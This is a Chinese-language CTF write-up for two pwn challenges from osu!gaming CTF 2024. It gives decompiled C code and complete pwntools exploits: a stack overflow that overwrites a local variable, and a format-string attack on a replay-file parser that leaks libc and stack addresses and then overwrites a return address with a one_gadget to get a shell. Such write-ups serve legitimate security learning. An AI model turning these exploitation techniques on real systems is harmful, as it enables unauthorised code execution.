nyyyddddn

osu!gaming_CTF_2024

2024/03/04

pwn

betterthanu

fgets那存在一个溢出,覆盖 v6为727,v5的值小于v6就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+10h] [rbp-10h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
printf("How much pp did you get? ");
fgets(s, 100, stdin);
v6 = atoi(s);
v5 = v6 + 1;
puts("Any last words?");
fgets(s, 100, stdin);
if ( v5 < v6 )
{
puts("What??? how did you beat me??");
puts("Hmm... I'll consider giving you the flag");
if ( v6 == 727 )
{
printf("Wait, you got %d pp?\n", 727LL);
printf("You can't possibly be an NPC! Here, have the flag: ");
flag_file = fopen("flag.txt", "r");
fgets(flag, 100, flag_file);
puts(flag);
}
else
{
puts("Just kidding!");
}
}
else
{
printf("Ha! I got %d\n", v5);
puts("Maybe you'll beat me next time");
}
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7279

elf = context.binary = ELF('./challenge')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b"a" * (0x10) +p64(0) + p32(0) + p32(0x2D7)

sla("How much pp did you get? ","11")
# g(p)
sla("Any last words?",payload)

p.interactive()

miss-analyzer

题目实现了一个 osr parser,https://osu.ppy.sh/wiki/en/Client/File_formats/osr_%28file_format%29,只解析到miss次数那

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char v5; // [rsp+15h] [rbp-14Bh]
__int16 v6; // [rsp+16h] [rbp-14Ah]
char *lineptr; // [rsp+18h] [rbp-148h] BYREF
size_t n; // [rsp+20h] [rbp-140h] BYREF
void *ptr; // [rsp+28h] [rbp-138h] BYREF
__int64 v10; // [rsp+30h] [rbp-130h] BYREF
void *v11; // [rsp+38h] [rbp-128h] BYREF
char format[264]; // [rsp+40h] [rbp-120h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]

v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
lineptr = 0LL;
n = 0LL;
if ( getline(&lineptr, &n, stdin) <= 0 )
break;
v3 = lineptr;
v3[strcspn(lineptr, "\n")] = 0;
if ( !*lineptr )
break;
v10 = hexs2bin(lineptr, &ptr);
v11 = ptr;
if ( !v10 )
{
puts("Error: failed to decode hex");
return 1;
}
puts("\n=~= miss-analyzer =~=");
v5 = read_byte(&v11, &v10);
if ( v5 )
{
switch ( v5 )
{
case 1:
puts("Mode: osu!taiko");
break;
case 2:
puts("Mode: osu!catch");
break;
case 3:
puts("Mode: osu!mania");
break;
}
}
else
{
puts("Mode: osu!");
}
consume_bytes(&v11, &v10, 4LL);
read_string(&v11, &v10, format, 255LL);
printf("Hash: %s\n", format);
read_string(&v11, &v10, format, 255LL);
printf("Player name: ");
printf(format);
putchar(10);
read_string(&v11, &v10, format, 255LL);
consume_bytes(&v11, &v10, 10LL);
v6 = read_short(&v11, &v10);
printf("Miss count: %d\n", (unsigned int)v6);
if ( v6 )
puts("Yep, looks like you missed.");
else
puts("You didn't miss!");
puts("=~=~=~=~=~=~=~=~=~=~=\n");
free(lineptr);
free(ptr);
}
return 0;
}

漏洞出现在对playername的解析,存在一个格式化字符串的漏洞,需要根据wiki 中 osr文件结构的描述,构造一个合适的osr file,然后打格式化字符串,不合法的file会直接exit()

1
2
3
read_string(&v11, &v10, format, 255LL);
printf("Player name: ");
printf(format);

具体的利用思路是 第一次格式化字符串leak栈上libc相关的地址 还有栈地址,算出printf的返回地址,然后第二次call printf的时候把printf的返回地址改成one gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7273

elf = context.binary = ELF('./analyzer')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



def byte2hex(byte):
if isinstance(byte, bytes) and len(byte) == 1:
high = (byte[0] >> 4) & 0xf
low = byte[0] & 0xf
return f"{high:01x}{low:01x}"

def bytes2hex(byte_data):
if isinstance(byte_data, bytes):
return ''.join(f"{b:02x}" for b in byte_data)


p = connect()


# string ULEB128
# 分为三个部分,每个部分一个字节
# 0x0b string len, string ....

# osr file struct
# 1byte game mode
# 4byte version of the game

# string(0x0b + len(1byte) + 32bytes) osu! beatmap MD5 hash
# string (0x0b + len(1byte) + player name) about player name
# string(0x0b + len(1byte)) osu! replay MD5 hash (includes certain properties of the replay)


# game mode && game version 5bytes
payload = b'\x00\xBE\xB3\x34\x01'

# osu! beatmap MD5 hash 1 + 1 + 32 = 34 bytes
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])


# string (0x0b + len(1byte) + player name) about player name
# payload += b'\x0B\x04\x6E\x79\x64\x6e'

format_string = b"%p-%pA" + b"%p-" * 3 + b'BBB%p'
payload += b'\x0B\x14' + format_string

# hash2 replay MD5 hash
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
# consume_bytes(&input_data_hex2bin_ptr, &size, 10);

# all short(2 bytes)
# Number of 300s
# Number of 100s in standard, 150s in Taiko, 100s in CTB, 100s in mania
# Number of 50s in standard, small fruit in CTB, 50s in mania
# Number of Gekis in standard, Max 300s in mania
# Number of Katus in standard, 200s in mania
payload += b'\x42' * 10

# Number of misses short
payload += b'\x00' * 2 # 好耶 0 miss

# print(len(payload))


payload = bytes2hex(payload)
# g(p)
sla("./analyzer):",payload)

ru("A")
libc_base = int(r(14),16) - (0x7f5e10b14887 - 0x7f5e10a00000)
ru("BBB")
return_addr = int(r(14),16) - (0x7ffeb990b0e8 - 0x7ffeb990ae68) # sub_function return_addr()
success(f"libc_base ->{hex(libc_base)}")
success(f"return_addr ->{hex(return_addr)}")



ret = 0x000000000040101a # ret
rdi = libc_base + 0x000000000002a3e5 #c pop rdi; ret
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']



payload = b'\x00\xBE\xB3\x34\x01'
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])


# pwndbg> fmtarg 0x7ffe22573f60
# The index of format argument : 15 ("\%14$p")
# pwndbg>

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL

ogg = libc_base + 0xebc85
format_string = fmtstr_payload(14,{return_addr:ogg},write_size='short')
print(len(format_string))

payload += b'\x0B\x40' + format_string
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
payload += b'\x42' * 10
payload += b'\x00' * 2

payload = bytes2hex(payload)
sla("./analyzer):",payload)


p.interactive()

唉,咱好菜,不会pyjail 不会v8

CATALOG
  1. 1. pwn
    1. 1.1. betterthanu
    2. 1.2. miss-analyzer